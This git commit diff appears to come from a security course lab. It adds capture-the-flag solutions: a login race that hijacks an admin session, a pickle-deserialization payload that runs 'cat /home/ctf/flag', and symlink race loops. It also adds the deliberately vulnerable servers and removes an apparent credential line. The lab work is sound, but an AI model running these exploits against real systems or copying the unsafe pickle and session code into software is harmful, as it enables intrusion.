lab3
This commit is contained in:
24
pa/lab3/chall_jackpot.py
Normal file
24
pa/lab3/chall_jackpot.py
Normal file
@@ -0,0 +1,24 @@
|
||||
from grequests import Session
|
||||
from sys import argv
|
||||
from os import fork
|
||||
|
||||
BASE = "http://mustard.stt.rnl.tecnico.ulisboa.pt:25652"
|
||||
|
||||
sesh = Session()
|
||||
sesh.get(BASE+"/login")
|
||||
|
||||
pid = fork()
|
||||
|
||||
if pid == 0:
|
||||
sesh.post(BASE+"/login", data={"username": "didas", "password": "didas"})
|
||||
while True:
|
||||
resp = sesh.get(BASE+"/jackpot")
|
||||
if b"SSof{" in resp.content:
|
||||
print(resp.content)
|
||||
exit(0)
|
||||
else:
|
||||
i = 0
|
||||
while True:
|
||||
sesh.post(BASE+"/login", data={"username": "admin", "password": "Perry the playpus"})
|
||||
print(i)
|
||||
i += 1
|
||||
@@ -1,9 +1,37 @@
|
||||
from pwn import *
|
||||
from os import fork, kill
|
||||
|
||||
HOST = "mustard.stt.rnl.tecnico.ulisboa.pt"
|
||||
PORT = 25653
|
||||
|
||||
conn = remote(HOST, PORT)
|
||||
line = conn.interactive()
|
||||
PAYLOAD = "cat /home/ctf/flag"
|
||||
|
||||
SSof_148:BHdrm8TgNq
|
||||
pid = fork()
|
||||
|
||||
if pid != 0:
|
||||
while True:
|
||||
conn = remote(HOST, PORT)
|
||||
conn.sendlineafter(b":", b"didas")
|
||||
conn.sendlineafter(b">>>", b"1")
|
||||
conn.sendlineafter(b">>>", b"1")
|
||||
conn.sendlineafter(b":", b"bomb")
|
||||
conn.recvuntil(b":")
|
||||
conn.sendline(b"cos")
|
||||
conn.sendline(b"system")
|
||||
conn.sendline(("(S'"+PAYLOAD+"'").encode('utf-8'))
|
||||
conn.sendline(b"tR.")
|
||||
conn.sendline(b"\n\n\n")
|
||||
conn.close()
|
||||
|
||||
else:
|
||||
while True:
|
||||
conn = remote(HOST, PORT)
|
||||
conn.sendlineafter(b":", b"didas")
|
||||
conn.sendlineafter(b">>>", b"0")
|
||||
conn.sendlineafter(b">>>", b"0")
|
||||
conn.sendlineafter(b":", b"bomb")
|
||||
res = conn.recvline().decode('utf-8')
|
||||
if "[ERROR]" not in res:
|
||||
print(res)
|
||||
kill(pid, 9)
|
||||
break
|
||||
|
||||
212
pa/lab3/server.py
Normal file
212
pa/lab3/server.py
Normal file
@@ -0,0 +1,212 @@
|
||||
from flask import Flask, request, redirect, url_for, make_response, render_template
|
||||
from flask_sqlalchemy import SQLAlchemy
|
||||
from functools import wraps
|
||||
from os.path import isfile
|
||||
from os import environ, urandom
|
||||
from sys import argv
|
||||
import hashlib
|
||||
|
||||
# Setup app
|
||||
app = Flask(__name__)
|
||||
COOKIE_TOKEN = "JTOKEN"
|
||||
|
||||
# Setup db
|
||||
db_path = "/tmp/flask_server.db"
|
||||
app.config["SQLALCHEMY_DATABASE_URI"] = 'sqlite:///%s' % (db_path)
|
||||
app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False
|
||||
db = SQLAlchemy(app)
|
||||
|
||||
# Read the flag
|
||||
FLAG = environ['flag']
|
||||
|
||||
|
||||
def error(msg):
|
||||
return render_template('error_response.html', msg=msg)
|
||||
|
||||
|
||||
# ================
|
||||
# === SESSIONS ===
|
||||
# ================
|
||||
class Session(db.Model):
|
||||
"""
|
||||
Associates a session token with its respective user
|
||||
"""
|
||||
id = db.Column(db.Integer, primary_key=True)
|
||||
# @FIXME: Should be a Foreign Key, but oh well
|
||||
jtoken = db.Column(db.Text(), unique=True)
|
||||
username = db.Column(db.Text())
|
||||
|
||||
def __init__(self, username=None):
|
||||
self.jtoken = urandom(64).hex()
|
||||
self.username = username
|
||||
|
||||
def __repr__(self):
|
||||
return '<Session %s>' % (self.jtoken)
|
||||
|
||||
|
||||
def get_current_session(jtoken=None):
|
||||
if not jtoken:
|
||||
jtoken = request.cookies.get(COOKIE_TOKEN)
|
||||
if not jtoken:
|
||||
print("[WARNING] This should never happen")
|
||||
return None
|
||||
|
||||
return Session.query.filter_by(jtoken=jtoken).first()
|
||||
|
||||
|
||||
@app.context_processor
|
||||
def templates_utility():
|
||||
return dict(get_current_session=get_current_session)
|
||||
|
||||
|
||||
# Runs before every request
|
||||
@app.before_request
|
||||
def setup_session():
|
||||
def add_session_and_redirect():
|
||||
new_session = Session()
|
||||
db.session.add(new_session)
|
||||
db.session.commit()
|
||||
|
||||
response = make_response(redirect(request.path))
|
||||
response.set_cookie(COOKIE_TOKEN, new_session.jtoken)
|
||||
return response
|
||||
|
||||
if COOKIE_TOKEN not in request.cookies:
|
||||
return add_session_and_redirect()
|
||||
|
||||
current_session = get_current_session()
|
||||
if current_session is None:
|
||||
return add_session_and_redirect()
|
||||
|
||||
|
||||
def login_required(func):
|
||||
@wraps(func)
|
||||
def decorated_function(*args, **kwargs):
|
||||
current_session = get_current_session()
|
||||
if not current_session or current_session.username is None:
|
||||
return redirect(url_for('login'))
|
||||
else:
|
||||
return func(*args, **kwargs)
|
||||
return decorated_function
|
||||
|
||||
|
||||
# =============
|
||||
# === Users ===
|
||||
# =============
|
||||
class User(db.Model):
|
||||
id = db.Column(db.Integer, primary_key=True)
|
||||
username = db.Column(db.Text(), unique=True)
|
||||
password = db.Column(db.Text())
|
||||
|
||||
def __init__(self, username, password):
|
||||
self.username = username
|
||||
self.password = self.hash_pwd(password)
|
||||
|
||||
def __repr__(self):
|
||||
return '<User %s>' % (self.username)
|
||||
|
||||
@staticmethod
|
||||
def hash_pwd(pwd):
|
||||
return hashlib.sha512(pwd.encode()).hexdigest()
|
||||
|
||||
|
||||
# =============
|
||||
# === VIEWS ===
|
||||
# =============
|
||||
@app.route('/')
|
||||
def home():
|
||||
return render_template('home.html')
|
||||
|
||||
|
||||
@app.route('/jackpot', methods=['GET'])
|
||||
@login_required
|
||||
def jackpot():
|
||||
current_session = get_current_session()
|
||||
|
||||
if current_session.username == 'admin':
|
||||
msg = FLAG
|
||||
else:
|
||||
msg = "No luck... Maybe next time!"
|
||||
|
||||
return render_template('jackpot.html', msg=msg)
|
||||
|
||||
|
||||
@app.route('/register', methods=['GET', 'POST'])
|
||||
def register():
|
||||
if request.method == 'GET':
|
||||
return render_template('register.html')
|
||||
|
||||
username = request.form['username']
|
||||
password = request.form['password']
|
||||
if not username or not password:
|
||||
return error("You need to provide the 'username' and 'password' to register.")
|
||||
|
||||
user = User.query.filter_by(username=username).first()
|
||||
if user or 'admin' in username:
|
||||
return error("User '%s' already exists." % user.username)
|
||||
|
||||
user = User(username, password)
|
||||
db.session.add(user)
|
||||
db.session.commit()
|
||||
|
||||
return redirect(url_for('login'))
|
||||
|
||||
|
||||
@app.route('/login', methods=['GET', 'POST'])
|
||||
def login():
|
||||
if request.method == 'GET':
|
||||
return render_template('login.html')
|
||||
|
||||
username = request.form['username']
|
||||
password = request.form['password']
|
||||
if not username or not password:
|
||||
return error("You need to provide a 'username' and 'password' to login.")
|
||||
|
||||
# Setup the session with the current user
|
||||
current_session = get_current_session()
|
||||
current_session.username = username
|
||||
db.session.commit()
|
||||
|
||||
registered_user = User.query.filter_by(
|
||||
username=username, password=User.hash_pwd(password)).first()
|
||||
|
||||
if not registered_user:
|
||||
# flash('Username or Password are invalid', 'error')
|
||||
# Login failed
|
||||
current_session.username = None
|
||||
db.session.commit()
|
||||
return redirect(url_for('login'))
|
||||
|
||||
# @FIXME: open redirect
|
||||
return redirect(request.args.get('next') or url_for('home'))
|
||||
|
||||
|
||||
@app.route('/logout')
|
||||
def logout():
|
||||
current_session = get_current_session()
|
||||
|
||||
# Remove the user from the session
|
||||
current_session.username = None
|
||||
db.session.commit()
|
||||
|
||||
return redirect(url_for('login'))
|
||||
|
||||
|
||||
# ========================
|
||||
# ========================
|
||||
# ========================
|
||||
def main(host):
|
||||
if not isfile(db_path):
|
||||
db.create_all()
|
||||
|
||||
app.config["DEBUG"] = (host == "127.0.0.1")
|
||||
app.run(threaded=True, host=host, port=6660)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
if len(argv) >= 2:
|
||||
host = argv[1]
|
||||
else:
|
||||
host = "127.0.0.1"
|
||||
|
||||
main(host)
|
||||
121
pa/lab3/server3.py
Normal file
121
pa/lab3/server3.py
Normal file
@@ -0,0 +1,121 @@
|
||||
#!/usr/bin/env python
|
||||
import hashlib
|
||||
import os
|
||||
import shutil
|
||||
import pickle
|
||||
|
||||
|
||||
# ===================================================
|
||||
class Note(object):
|
||||
def __init__(self, name, content):
|
||||
self.name = name
|
||||
self.content = content
|
||||
|
||||
def __str__(self):
|
||||
return "Note '%s': %s" % (self.name, self.content)
|
||||
|
||||
def sha256(s):
|
||||
return hashlib.sha256(s.encode('utf-8')).hexdigest()
|
||||
|
||||
CLASSY_MODE = 'CLASSY'
|
||||
FREE_MODE = 'FREE'
|
||||
def check_mode(mode):
|
||||
try:
|
||||
with open(directory + '/mode', 'r') as f:
|
||||
return f.read() == mode
|
||||
except:
|
||||
return False
|
||||
|
||||
def set_mode(mode):
|
||||
with open(directory + '/mode', 'w') as f:
|
||||
f.write(mode)
|
||||
|
||||
def reset(mode):
|
||||
shutil.rmtree(directory)
|
||||
os.makedirs(directory)
|
||||
set_mode(mode)
|
||||
# ===================================================
|
||||
|
||||
|
||||
# Print banner
|
||||
notes_storage = " _______ ________ ______________________ _________ ____________________________ __________ _____ ________ ___________\n \ \ \_____ \ \__ ___/\_ _____/ / _____/ / _____/\__ ___/\_____ \ \______ \ / _ \ / _____/ \_ _____/\n / | \ / | \ | | | __)_ \_____ \ \_____ \ | | / | \ | _/ / /_\ \ / \ ___ | __)_ \n/ | \/ | \ | | | \ / \ / \ | | / | \ | | \/ | \\ \_\ \ | \\\n\____|__ /\_______ / |____| /_______ //_______ / ______/_______ / |____| \_______ / |____|_ /\____|__ / \______ //_______ /\n \/ \/ \/ \/ /_____/ \/ \/ \/ \/ \/ \/ "
|
||||
|
||||
print ("1. Ever lost your class notes??")
|
||||
print ("2. Ever wanted to store notes but had no place to and then forgot everything and failed the exam???")
|
||||
print ("3. Are you tired of having to carry your notebooks????")
|
||||
print ("")
|
||||
print ("If you answered YES, this is the service for you!!")
|
||||
print (notes_storage)
|
||||
print ("\n")
|
||||
|
||||
|
||||
# Read username and setup directory
|
||||
username = input('Username: ')
|
||||
directory = "/tmp/notes/%s" % sha256(username)
|
||||
if not os.path.exists(directory):
|
||||
os.makedirs(directory)
|
||||
|
||||
# Read user choices
|
||||
type_choice = ""
|
||||
while type_choice not in ('0', '1'):
|
||||
print("Which note type do you want:")
|
||||
print("0: Classy note")
|
||||
print("1: Free Note")
|
||||
type_choice = input('>>> ')
|
||||
|
||||
def read_or_write_option():
|
||||
action_choice = ""
|
||||
while action_choice not in ('0', '1'):
|
||||
print("0: Read note")
|
||||
print("1: Write Note")
|
||||
action_choice = input('>>> ')
|
||||
|
||||
note_name = input('note_name: ')
|
||||
note_path = "%s/%s" % (directory, sha256(note_name))
|
||||
if action_choice == '0':
|
||||
if not os.path.isfile(note_path):
|
||||
print("[ERROR] Can't read a file that does not exist")
|
||||
exit(-1)
|
||||
else:
|
||||
with open(note_path, 'rb') as f:
|
||||
note_content = f.read()
|
||||
elif action_choice == '1':
|
||||
note_content = ""
|
||||
line = input("note_content: ")
|
||||
while line:
|
||||
note_content += line + '\n'
|
||||
line = input()
|
||||
|
||||
return action_choice, note_path, note_name, note_content
|
||||
|
||||
|
||||
# Main functionality
|
||||
if type_choice == '0': # Classy note
|
||||
if not check_mode(CLASSY_MODE):
|
||||
reset(CLASSY_MODE)
|
||||
|
||||
action_choice, note_path, note_name, note_content = read_or_write_option()
|
||||
if action_choice == '0': # read
|
||||
note = pickle.loads(note_content)
|
||||
print(note)
|
||||
elif action_choice == '1': # write
|
||||
note = Note(note_name, note_content)
|
||||
with open(note_path, 'wb') as f:
|
||||
pickle.dump(note, f)
|
||||
else:
|
||||
print("YT0!?")
|
||||
|
||||
elif type_choice == '1': # Free note
|
||||
if not check_mode(FREE_MODE):
|
||||
reset(FREE_MODE)
|
||||
|
||||
action_choice, note_path, _, note_content = read_or_write_option()
|
||||
if action_choice == '0': # read
|
||||
print(note_content)
|
||||
elif action_choice == '1': # write
|
||||
with open(note_path, 'wb') as f:
|
||||
f.write(note_content.encode('utf8','surrogateescape'))
|
||||
else:
|
||||
print("HuM!?")
|
||||
else:
|
||||
print("WHaT!?")
|
||||
5
pa/lab3/spam_flag.sh
Normal file
5
pa/lab3/spam_flag.sh
Normal file
@@ -0,0 +1,5 @@
|
||||
#!/bin/sh
|
||||
|
||||
while [ 1 -eq 1 ]; do
|
||||
/challenge/challenge < input
|
||||
done
|
||||
6
pa/lab3/spam_ln.sh
Normal file
6
pa/lab3/spam_ln.sh
Normal file
@@ -0,0 +1,6 @@
|
||||
#!/bin/sh
|
||||
|
||||
while [ 1 -eq 1 ]; do
|
||||
ln -s ./input ./link
|
||||
ln -s /challenge/flag ./link
|
||||
done
|
||||
1
pa/writeups
Submodule
1
pa/writeups
Submodule
Submodule pa/writeups added at a67c3913db
Reference in New Issue
Block a user